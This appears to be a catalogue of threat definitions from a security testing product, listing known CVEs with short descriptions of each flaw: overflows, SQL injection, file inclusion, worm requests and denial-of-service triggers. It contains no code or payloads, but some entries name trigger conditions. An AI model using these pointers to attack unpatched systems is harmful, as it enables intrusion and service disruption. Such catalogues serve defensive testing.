Threat File Name:	TSL20140603-14_Rocket_Servergraph_Admin_Center_userRequest_and_tsmRequest_Command_Execution.xml
Executive Description:	Rocket Servergraph Admin Center userRequest and tsmRequest Command Execution
Detailed Description:	Multiple vulnerabilities exist in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. These vulnerabilities are due to input validation errors when handling requests to the URIs userRequest and tsmRequest.A remote unauthenticated attacker can exploit these vulnerabilities to achieve arbitrary command execution under the context of the SYSTEM user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3915
OSVDB:	107681
Threat File Name:	FSC20090525-04_Sun_Solaris_sadmind_RPC_Request_Integer_Overflow.xml
Executive Description:	Sun Solaris sadmind RPC Request Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in the sadmind service within the Sun Solaris operating system. The vulnerability resides in the calculation of a buffer allocation size while parsing specially crafted RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted RPC message to the target host, to potentially inject and execute arbitrary code with root level privileges. In a sophisticated attack case where code injection and execution is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally root. In case if the code execution is not achieved, the sadmind service will be terminated abnormally.
Protocol Type:	SUNRPC
CVEID:	CVE-2008-3870
Threat Package:	Standard
Threat File Name:	TSL20170314-38_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0147_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0147 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in the disclosure of sensitive information from the target server.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-0147
Threat File Name:	vhcs_abp.xml
Executive Description:	VHCS add_user.php Authentication Bypass Vulnerability
Detailed Description:	This threat sends an HTTP query with unexpected input leading to an authentication bypass. VHCS is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0686
Threat File Name:	DB2DiscoverDoS.xml
Executive Description:	DB2 Discover Service Denial of Service
Detailed Description:	The IBM DB2 provides a UDP discovery service that listens on port 523. The service expects packets to be sent to the service with a payload of 20 bytes or less. This threat sends a UDP packet to the service whose length is greater than 20 bytes which causes the service to crash resulting in a denial of service to legitimate users.

Protocol Type:	Proprietary
CVEID:	CVE-2003-0827
OSVDB:	2169
Threat Package:	Standard
Threat File Name:	TSL20131112-08_Microsoft_GDI_BITMAPINFOHEADER_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft GDI BITMAPINFOHEADER Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows Graphics Device Interface. The vulnerability is due to an error while processing specially crafted images included in files by WordPad. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted file with a vulnerable version of WordPad. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-3940
OSVDB:	99646
Threat File Name:	netsprint_activex_dos.xml
Executive Description:	NetSprint Toolbar ActiveX Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in the askPopStp.dll ActiveX Control that will lead to a denial of service (IE crash). NetSprint Toolbar is a component of Internet Explorer, a web browser that connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2210
Threat Package:	Standard
Threat File Name:	FSC20080603-02_HP_StorageWorks_Storage_Mirroring_Double_Take_Service_Code_Execution.xml
Executive Description:	HP StorageWorks Storage Mirroring Double Take Service Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in HP StorageWorks Storage Mirroring Double Take Service. The vulnerability is due to insufficient bounds checking while handling the messages with Opcode 0x2730. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted authentication request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected service, normally System.
Protocol Type:	TCP
CVEID:	CVE-2008-1661
Threat Package:	Standard
Threat File Name:	FSC20100419-01_Multiple_Vendors_AgentX_receive_agentx_Stack_Buffer_Overflow.xml
Executive Description:	Multiple Vendors AgentX receive_agentx Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in multiple products that use the AgentX++ software. The vulnerability is due to a boundary error in AgentX::receive_agentx function. A remote unauthenticated attacker can exploit this vulnerability by sending multiple blocks of data to the target server on port 705/TCP. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server, normally SYSTEM. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition.
Protocol Type:	AgentX
CVEID:	CVE-2010-1318
Threat Package:	Standard
Threat File Name:	zotobE_IPv6.xml
Executive Description:	Zotob Variant Malware Download (IPv6 Version)
Detailed Description:	This threat mimics the downloading of spyware that is performed by the Win32.Zotob.E worm. This is the second stage of the worm after the PNP vulnerability has been exploited. This threat mimics the downloading off of a malicious website. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040526-01_F-Secure_Anti-Virus_LHA_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	F-Secure Anti-Virus LHA Processing Buffer Overflow (IPv6 Version)
Detailed Description:	There is a denial of service vulnerability with the F-Secure Antiphon's family of products. A malformed LHA archive can cause a buffer overflow within the module that accesses the contents of archives during the virus scanning process. This leads to a module restart and may be considered to be a denial of service. Given that the program stack of the vulnerable product is overwritten, it may also be possible to inject malicious code into the module. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0234
Threat Package:	Standard
Threat File Name:	FSC20071218-10_ClamAV_libclamav_MEW_PE_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	ClamAV libclamav MEW PE File Handling Integer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted PE files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning service resulting in injection and execution of arbitrary code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6335
Threat Package:	Standard
Threat File Name:	TSL20160909-03_AlienVault_USM_and_OSSIM_get_directive_kdb_php_directive_id_SQL_Injection_IPv6.xml
Executive Description:	AlienVault USM and OSSIM get_directive_kdb.php directive_id SQL Injection (IPv6 Version)
Detailed Description:	A SQL injection vulnerability has been reported in AlienVault USM and OSSIM. The vulnerability is due to a failure to sanitize input on requests to get_directive_kdb.php. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the vulnerable application. Successful exploitation could result in arbitrary command execution as the root user.
Protocol Type:	HTTPS, IPv6
Threat File Name:	TSL20161212-01_3CX_Phone_System_VAD_Deploy.aspx_Arbitrary_File_Upload_IPv6.xml
Executive Description:	3CX Phone System VAD_Deploy.aspx Arbitrary File Upload (IPv6 Version)

Detailed Description:	An arbitrary file upload vulnerability exists in 3CX VoIP Phone System Manager. The vulnerability is due to failure to restrict file uploads in VAD_Deploy.aspx. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the target server. Successful exploitation could lead to arbitrary command execution on the server with SYSTEM privileges.
Protocol Type:	HTTP, IPv6
Threat File Name:	FSC20080812-14_Microsoft_Office_Image_Filter_Crafted_BMP_Header_Buffer_Overflow.xml
Executive Description:	Microsoft Office Image Filter Crafted BMP Header Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Image Filter shipped with Microsoft Office. The vulnerability is due to improper validation of the number of used colors in BMP header. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious BMP image with the affected application, causing the execution of arbitrary code in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3020
Threat Package:	Standard
Threat File Name:	nimda12_IPv6.xml
Executive Description:	Nimda Request URL 12 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170420-06_Mozilla_Firefox_WebGL_Integer_Overflow_IPv6.xml
Executive Description:	Mozilla Firefox WebGL Integer Overflow (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in WebGL components of Mozilla Firefox. The vulnerability is due to an integer overflow in Intersect function while calculating destination frame buffer width and height. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of the vulnerability could potentially lead to remote code execution or denial of service conditions.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5459
Threat File Name:	fuzz-TFTP_Filename_formatn_WRQ_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formatn_WRQ.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by appending one or more of %n to the filename. OpCode is WRQ (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ultravnc_client_IPv6.xml
Executive Description:	UltraVNC Client Log Buffer Overflow and Arbitrary Command Execution (IPv6 Version)
Detailed Description:	This server based threat exploits the UltraVNC client using a malformed packet which exercises a flaw in the logging code allowing arbitrary command execution. UltraVNC is a VNC service which listens on port 5900. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phplistpro_cmi_b_IPv6.xml
Executive Description:	phpListPro editsite.php returnpath Variable Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phpListPro is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	GCALDaemon_dos.xml
Executive Description:	GCALDaemon <= 1.0-beta13 Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a large integer value in the Content-Length HTTP header, which triggers denial of service in GCALDaemon. GCALDaemon is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4980
Threat Package:	Standard
Threat File Name:	FSC20090305-05_Nullsoft_Winamp_MAKI_Script_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp MAKI Script Processing Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the Skin file parsing component of Nullsoft Winamp. The vulnerability is caused by improper handling of MAKI scripts. A remote attacker can exploit this vulnerability by enticing the user to open a crafted skin file. Upon an unsuccessful attempt to inject and execute code via this vulnerability, the Winamp player may terminate. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target host is dependent on the intention of the malicious code. Any code injected into the vulnerable program would execute in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipvaliduseofesc.xml
Executive Description:	SIPPING: Valid Use of % Escape Character
Detailed Description:	This threat sends out a SIP message with characters escaped using %xx in a number of unexpected (but legal places).
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20071211-10_Microsoft_Internet_Explorer_Object_Reference_Counting_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Object Reference Counting Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles incorrectly initialized or removed objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3902
Threat Package:	Standard
Threat File Name:	pshAckFlood.xml
Executive Description:	TCP PSH/ACK Flood
Detailed Description:	This threat floods a user specified target with TCP packets from a user specified source IP address where the PSH (push) and ACK (acknowledgement) flags have been set. Packets of this fashion will be sent during a shellcode attack when attempting to remotely execute unauthorized instructions while attempting to gain a root shell. This attack may be enhanced by randomizing the source IP address.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20070110-01_Apple_Computer_Finder_DMG_Volume_Name_Memory_Corruption_IPv6.xml
Executive Description:	Apple Computer Finder DMG Volume Name Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the Apple Finder product. The flaw is due to improper bounds checking on the length of the Volume name in the DMG disk images. An attacker may exploit this vulnerability by enticing a user to open a crafted DMG disk image. Exploitation of the vulnerability may result in injection and execution of arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0197
Threat Package:	Standard
Threat File Name:	TSL20150526-12_Arcserve_Unified_Data_Protection_reportFileServlet_Directory_Traversal.xml
Executive Description:	Arcserve Unified Data Protection reportFileServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Arcserve Unified Data Protection (UDP). These vulnerability exists in reportFileServlet and are due to insufficient input validation of the remotely supplied file path. A remote unauthenticated attacker can exploit this vulnerability to result in information disclosure and denial of service. Tester should set the variable \$destPort to 8015 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-4068
Threat File Name:	fuzz-IP_Version_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:Version (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	lupper24.xml
Executive Description:	Lupper Worm 24
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	abitwhizzy_dir_transversal_IPv6.xml
Executive Description:	ABitWhizzy ABitWhizzy.PHP Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. ABitWhizzy is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6084
Threat Package:	Standard
Threat File Name:	TSL20111110-03_Novell_ZENworks_LaunchHelp_dll_ActiveX_Control_LaunchProcess_Code_Execution_IPv6.xml
Executive Description:	Novell ZENworks LaunchHelp.dll ActiveX Control LaunchProcess Code Execution(IPV6 VERSION)
Detailed Description:	A vulnerability exists in Novell ZENworks. Specifically, the vulnerability is due to an access control weakness in the ActiveX Control LaunchHelp.HelpLauncher when handling the LaunchProcess() method. A remote attacker can exploit the vulnerability by enticing a user to open a specially crafted web page. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2657
Threat File Name:	FSC20071009-22_Microsoft_Internet_Explorer_Error_Handling_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer Error Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain error situations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3893
Threat Package:	Standard
Threat File Name:	FSC20080212-08_Microsoft_Internet_Explorer_HTML_Rendering_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Rendering Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain layout combinations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0076
Threat Package:	Standard
Threat File Name:	lbog_sqli_IPv6.xml
Executive Description:	LBlog Comments.ASP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. LBlog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130409-17_Microsoft_Windows_Active_Directory_LDAP_Denial_of_Service.xml
Executive Description:	Microsoft Windows Active Directory LDAP Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in Microsoft Windows Active Directory Service. The vulnerability is due to excessive memory consumption when processing specially crafted LDAP queries. A remote, authenticated attacker can exploit this vulnerability by sending malicious messages to the LDAP server. A successful attack could make the vulnerable system unresponsive causing a denial-of-service condition.
Protocol Type:	LDAP,LDAPS
CVEID:	CVE-2013-1282
OSVDB:	92126
Threat File Name:	FSC20090310-02_IBM_Tivoli_Storage_Manager_Express_Backup_Heap_Corruption.xml
Executive Description:	IBM Tivoli Storage Manager Express Backup Heap Corruption
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager. This vulnerability is due to a lack of validation of a user supplied value in a message. This value is later used as a counter to populate a fixed length heap buffer. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host. In an attack case where code injection is not successful, the target IBM Tivoli Express Backup Server service will terminate. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with SYSTEM level privileges.
Protocol Type:	TCP
CVEID:	CVE-2008-4563
Threat Package:	Standard
Threat File Name:	zenturi_activex_bof.xml
Executive Description:	Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3076
Threat Package:	Standard
Threat File Name:	TSL20140605-05_OpenSSL_Anonymous_ECDH_Denial_of_Service.xml
Executive Description:	OpenSSL Anonymous ECDH Denial of Service
Detailed Description:	A denial of service vulnerability exists in OpenSSL. The vulnerability is due to a NULL pointer dereference in processing handshake messages using anonymous ECDH ciphersuites. A remote, unauthenticated attacker could exploit this vulnerability by sending specially crafted messages to a target. Successful exploitation could lead to a denial of service condition. Tester should turn variable \$destPort into 443 before test.
Protocol Type:	SSL/TLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2014-3470
OSVDB:	107731
Threat File Name:	lunarpoll_rfi.xml
Executive Description:	LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. LunarPoll is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070424-19_CA_BrightStor_ARCserve_Backup_Media_Server_SUN_RPC_Denial_of_Service.xml
Executive Description:	CA BrightStor ARCserve Backup Media Server SUN RPC Denial of Service
Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Media Server. The vulnerability is due to insufficient boundary checking when processing crafted strings supplied in SUN RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to terminate the affected service, causing denial of service condition.
Protocol Type:	STARTRON
CVEID:	CVE-2007-2139
Threat Package:	Standard
Threat File Name:	TSL20160705-01_GNU_wget_HTTP_Redirect_Arbitrary_File_Overwrite.xml
Executive Description:	GNU wget HTTP Redirect Arbitrary File Overwrit
Detailed Description:	An arbitrary file overwrite vulnerability has been reported in the GNU wget. The vulnerability is due to wget trusting the filename provided by an FTP server when the original request is redirected from an HTTP server. A remote attacker can exploit this vulnerability by enticing a user to request a file over HTTP and sending an HTTP redirect to an FTP location hosting a malicious file intended to overwrite a user file such as .bashrc or .wgetrc. Upon successful exploitation, the commands contained in the downloaded file will be executed.
Protocol Type:	HTTP
CVEID:	CVE-2016-4971

Threat File Name:	TSL20170112-12_Aerospike_Database_Server_as_sindex__simatch_by_iname_Stack_Buffer_Overflow.xml
Executive Description:	Aerospike Database Server as_sindex__simatch_by_iname Stack Buffer Overflow
Detailed Description:	A memory corruption vulnerability has been reported in Aerospike Database Server. This vulnerability is due to improper bounds checking of user-supplied index name variable in as_sindex__simatch_by_iname() function in secondary_index.c. A remote attacker could exploit these vulnerabilities by sending a maliciously crafted packet to the vulnerable server. Successful exploitation of these vulnerabilities could lead to arbitrary code execution.
Protocol Type:	Aerospike Database Server
CVEID:	CVE-2016-9052
Threat File Name:	FSC20090819-03_Oracle_Secure_Backup_Administration_Server_Authentication_Bypass.xml
Executive Description:	Oracle Secure Backup Administration Server Authentication Bypass
Detailed Description:	An authentication bypass vulnerability exists in Oracle Secure Backup server. The vulnerability is due to a flaw in the logic used to authenticate a user to the administration server. The script 'common.php' does not properly sanitize the user name variable before using it in a database query. Successful exploitation of this vulnerability allows remote attackers to bypass authentication on vulnerable installations of Oracle Secure Backup by sending a specially crafted packet variable. This would allow the attacker to log in to the vulnerable system with full administrative capabilities.
Protocol Type:	HTTPS
CVEID:	CVE-2009-1977
Threat Package:	Standard
Threat File Name:	tcexam_cmi_IPv6.xml
Executive Description:	TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit (IPv6 Version)
Detailed Description:	This threat demonstrates a shell injection flaw via a php cookie session variable which can be freely set by the attacker. This threat is delivered by the HTTP protocol on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060327-08_Symantec_VERITAS_NetBackup_Volume_Manager_Buffer_Overflow.xml
Executive Description:	Symantec VERITAS NetBackup Volume Manager Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Symantec VERITAS NetBackup products. The flaw is due to insufficient boundary protection in the processing of volume manager communications. An attacker may leverage this vulnerability to execute arbitrary code on the target host with System privileges.
Protocol Type:	Proprietary
CVEID:	CVE-2006-0989
Threat Package:	Standard
Threat File Name:	netgear_http_crash.xml
Executive Description:	Netgear HTTP Management Crash
Detailed Description:	This threat causes a crash of the HTTP management daemon on a netgear router by sending a malformed POST request. Netgear's HTTP management process listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150630-12_IBM_Tivoli_Storage_Manager_FastBack_Server_FXCLI_OraBR_Exec_Command_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server FXCLI_OraBR_Exec_Command Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient boundary checking while processing remote requests within the FXCLI_OraBR_Exec_Command function. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary code execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	IBM TSM FastBack Server
CVEID:	CVE-2015-1929
Threat File Name:	dns_transfer_IPv6.xml
Executive Description:	Domain Transfer Request (IPv6 Version)
Detailed Description:	This threat issues a domain transfer request for imperfetnetworks.com, listing all of the addresses contained therein. This is normally used by attackers to discover potentially overlooked and vulnerable machines, and also to provide a window into the structure of an internal network. Domain transfers typically occur over TCP port 53. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-1999-0532
OSVDB:	492
Threat Package:	Standard
Threat File Name:	awstats_IPv6.xml
Executive Description:	AWStats Remote Command Execution (IPv6 Version)
Detailed Description:	This threat takes advantage of an unchecked variable in AWStats that allows a malicious attacker to issue any command on the target system. AWStats is a Perl program that typically resides in the cgi-bin directory of a webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0116
OSVDB:	13002
Threat Package:	Standard
Threat File Name:	TSL20150909-13_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_FileProcess_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX FileProcess Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of FileProcess() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.

Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9208
Threat File Name:	santyb3.xml
Executive Description:	Santy.B phpBB worm 3
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150811-27_Microsoft_Internet_Explorer_CVE_2015_2446_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2446 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2446
Threat File Name:	watchfire_appscan_bof_IPv6.xml
Executive Description:	WatchFire AppScan Authentication Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the WatchFire AppScan product. It is caused by sending a large Authorization HTTP header from the server, which in turn allows a user to control execution of the application on the client machine. WatchFire AppScan is a HTTP security auditing program that typically connects to web servers listening on port 80. This attack is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4270
OSVDB:	21746
Threat File Name:	tftpTransfer_IPv6.xml
Executive Description:	TFTP Long Transfer Mode String (IPv6 Version)
Detailed Description:	This threat sends a TFTP request with a long transfer mode string. This is known to cause crashes in certain TFTP servers, possibly leading to remote code execution. TFTP servers normally listen on port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2005-1812
OSVDB:	16954
Threat Package:	Standard
Threat File Name:	TSL20110927-02_Novell_GroupWise_Internet_Agent_HTTP_Interface_Stack_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Internet Agent HTTP Interface Stack Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Novell GroupWise Internet Agent (GWIA) HTTP interface (port 9850/tcp). The vulnerability is due to a boundary error when parsing overly long HTTP requests to certain .css resources. An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary code on targeted vulnerable installations of GWIA under the context of the SYSTEM user.
Protocol Type:	HTTP, over port 9850/TCP
CVEID:	CVE-2011-0334
Threat File Name:	TSL20170314-38_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0147_Information_Disclosure.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0147 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in the disclosure of sensitive information from the target server.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0147
Threat File Name:	FSC20060509-15_Microsoft_Windows_itss_dll_CHM_File_Handling_Heap_Corruption.xml
Executive Description:	Microsoft Windows itss.dll CHM File Handling Heap Corruption
Detailed Description:	A vulnerability exists in the Microsoft Windows Infotech Storage Library. The flaw is created due to a lack of verification of a user supplied value, before using it as the size argument in a memory allocation call. Exploitation of this flaw may result in process flow diversion of the vulnerable application.
Protocol Type:	HTTP
CVEID:	CVE-2006-2297
Threat Package:	Standard
Threat File Name:	wmf_extCreateRegion_IPv6.xml
Executive Description:	Microsoft GRE ExtCreateRegion Memory Corruption (IPv6 Version)
Detailed Description:	This attack corrupts the memory of Microsoft's picture and fax viewer application. This version simply causes a crash, however it might be possible through manipulation of the heap to create an exploit out of this flaw. This flaw is different from CVE-2006-0106. This attack comes from a webserver, which typically listens on port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0143
OSVDB:	22371
Threat Package:	Standard
Threat File Name:	FSC20081009-12_CA_ARCserve_Backup_DB_Engine_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup DB Engine Denial of Service
Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Backup DB Engine. The vulnerability is due to insufficient memory initialization. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could create a denial of service condition to the DBEng.exe service.
Protocol Type:	TCP
CVEID:	CVE-2008-4399

Threat Package:	Standard
Threat File Name:	IEformurispoof_IPv6.xml
Executive Description:	IE HTML Form Tags Obfuscation (IPv6 Version)
Detailed Description:	This threat creates what looks like a link to a trusted website, but instead causes a form request for a different website. This can be used to fool a user to visit an incorrect website. Combined with other phishing and spoofing attacks, this can be used to steal information from unsuspecting users. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1104
OSVDB:	12342
Threat Package:	Standard
Threat File Name:	FSC20100121-12_Microsoft_Internet_Explorer_Table_Layout_Col_Tag_Cache_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Table Layout Col Tag Cache Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error handling the removal of a Col element from table layout. A Col element can still be accessed through a cache even after it has been removed from an HTML table container. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0244
Threat Package:	Standard
Threat File Name:	TSL20130919-10_Cisco_Prime_Data_Center_Network_Manager_processImageSave_jsp_Arbitrary_File_Upload.xml
